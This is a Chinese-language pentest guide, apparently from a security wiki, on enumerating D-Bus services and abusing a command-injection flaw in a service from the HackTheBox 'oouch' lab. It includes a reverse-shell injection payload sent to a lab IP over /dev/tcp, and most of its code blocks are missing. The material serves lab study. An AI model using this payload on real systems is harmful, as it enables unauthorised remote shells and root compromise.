D-Bus Enumeration & Command Injection Privilege Escalation
GUI枚举
在Ubuntu桌面环境中,D-Bus被用作进程间通信(IPC)中介。在Ubuntu上,观察到多个消息总线的并发操作:系统总线,主要由特权服务用于公开系统范围内相关服务,以及每个已登录用户的会话总线,仅公开对该特定用户有关的服务。这里的重点主要是系统总线,因为它与以更高权限(例如root)运行的服务相关联,我们的目标是提升权限。值得注意的是,D-Bus的架构使用每个会话总线的“路由器”,负责根据客户端为希望通信的服务指定的地址重定向客户端消息到适当的服务。
D-Bus上的服务由它们公开的对象和接口定义。对象可以类比于标准OOP语言中的类实例,每个实例由对象路径唯一标识。这个路径类似于文件系统路径,唯一标识服务公开的每个对象。用于研究的一个关键接口是org.freedesktop.DBus.Introspectable接口,具有一个方法Introspect。该方法返回对象支持的方法、信号和属性的XML表示,这里重点是方法,而省略了属性和信号。
为了与D-Bus接口通信,使用了两个工具:一个名为gdbus的CLI工具,用于在脚本中轻松调用D-Bus公开的方法,以及D-Feet,一个基于Python的GUI工具,用于枚举每个总线上可用的服务并显示每个服务中包含的对象。
sudo apt-get install d-feet

在第一张图片中,展示了在D-Bus系统总线上注册的服务,特别是在选择System Bus按钮后,org.debin.apt 被特别标记出来。D-Feet查询此服务的对象,显示了所选对象的接口、方法、属性和信号,如第二张图片所示。还详细列出了每个方法的签名。
一个显著的特点是显示了服务的进程ID(pid)和命令行,有助于确认服务是否以提升的特权运行,这对于研究的相关性很重要。
D-Feet还允许方法调用:用户可以将Python表达式作为参数输入,D-Feet会将其转换为D-Bus类型后传递给服务。
但需要注意的是,某些方法在允许我们调用它们之前需要进行身份验证。我们将忽略这些方法,因为我们的目标是在首次不需要凭据的情况下提升我们的权限。
还要注意,一些服务会查询另一个名为org.freedeskto.PolicyKit1的D-Bus服务,以确定用户是否被允许执行某些操作。
Cmd line枚举
列出服务对象
可以使用以下命令列出已打开的D-Bus接口:
连接
来自维基百科: 当一个进程建立到总线的连接时,总线会为该连接分配一个特殊的总线名称,称为_唯一连接名称_。这种类型的总线名称是不可变的——只要连接存在,就保证不会更改,更重要的是,在总线的生命周期内不能被重用。这意味着即使同一进程关闭与总线的连接并创建新连接,也不会有其他连接到该总线的连接分配到这样的唯一连接名称。唯一连接名称很容易识别,因为它们以—否则被禁止的—冒号字符开头。
服务对象信息
然后,您可以通过以下方式获取有关接口的一些信息:
列出服务对象的接口
您需要具有足够的权限。
检查服务对象的接口
请注意,在此示例中,使用tree参数选择了最新发现的接口(请参阅前一节):
注意接口htb.oouch.Block的方法.Block(我们感兴趣的方法)。其他列的“s”可能表示它期望一个字符串。
监视/捕获接口
拥有足够的特权(仅具有send_destination和receive_sender特权是不够的)可以监视 D-Bus 通信。
为了监视一个通信,您将需要成为root用户。如果您仍然发现无法成为root,请查看https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/和https://wiki.ubuntu.com/DebuggingDBus
如果您知道如何配置一个D-Bus配置文件以允许非root用户嗅探通信,请与我联系!
监视的不同方式:
在以下示例中,监视接口htb.oouch.Block,并通过错误通信发送了消息"lalalalal":
过滤所有噪音
如果总线上有太多信息,可以传递一个匹配规则,如下所示:
多个规则可以被指定。如果消息符合_任何_规则中的一个,该消息将被打印。就像这样:
查看D-Bus文档以获取有关匹配规则语法的更多信息。
更多
busctl有更多选项,在此处找到所有选项。
易受攻击的场景
作为主机“oouch”中的用户qtc,您可以在/etc/dbus-1/system.d/htb.oouch.Block.conf中找到一个意外的D-Bus配置文件:
根据先前的配置,请注意您需要作为用户root或www-data才能通过此D-BUS通信发送和接收信息。
作为Docker容器aeb4525789d8中的用户qtc,您可以在文件_/code/oouch/routes.py_中找到一些与dbus相关的代码。以下是相关代码:
正如您所看到的,它正在连接到一个 D-Bus 接口,并将"client_ip"发送到**"Block" 函数**。
在 D-Bus 连接的另一侧运行着一些 C 编译的二进制代码。这段代码正在监听 D-Bus 连接,接收 IP 地址并通过 system 函数调用 iptables 来阻止给定的 IP 地址。
对 system 的调用故意存在命令注入漏洞,因此像下面这样的有效载荷将创建一个反向 shell:;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #
利用它
在本页末尾,您可以找到 D-Bus 应用程序的完整 C 代码。在其中,您可以在第 91-97 行之间找到**D-Bus 对象路径和接口名称是如何注册**的。发送信息到 D-Bus 连接时将需要这些信息:
此外,在第57行,您可以发现此D-Bus通信中仅注册了一种方法,名为Block(这就是为什么在接下来的部分中,有效载荷将被发送到服务对象htb.oouch.Block,接口/htb/oouch/Block以及方法名Block):
Python
以下 Python 代码将通过 block_iface.Block(runme) 将 payload 发送到 D-Bus 连接的 Block 方法(注意,此代码段是从之前的代码块中提取的):
busctl 和 dbus-send
dbus-send是一个用于向“消息总线”发送消息的工具。消息总线 - 系统用来使应用程序之间通信变得更容易的软件。它与消息队列相关(消息按顺序排列),但在消息总线中,消息以订阅模式发送,而且非常快速。
“-system” 标签用于指定这是一个系统消息,而不是会话消息(默认情况下)。
“--print-reply” 标签用于适当打印我们的消息并以人类可读的格式接收任何回复。
“--dest=Dbus-Interface-Block” Dbus 接口的地址。
“--string:” - 我们想要发送到接口的消息类型。有几种格式可以发送消息,如 double、bytes、booleans、int、objpath。在这些格式中,“对象路径”在我们想要将文件路径发送到 Dbus 接口时很有用。在这种情况下,我们可以使用一个特殊文件(FIFO)来将命令传递给接口,以文件的名称来代表命令。“string:;” - 这是再次调用对象路径的地方,我们在那里放置 FIFO 反向 shell 文件/命令。
请注意,在 htb.oouch.Block.Block 中,第一部分(htb.oouch.Block)引用了服务对象,而最后一部分(.Block)引用了方法名称。
C 代码
参考资料
最后更新于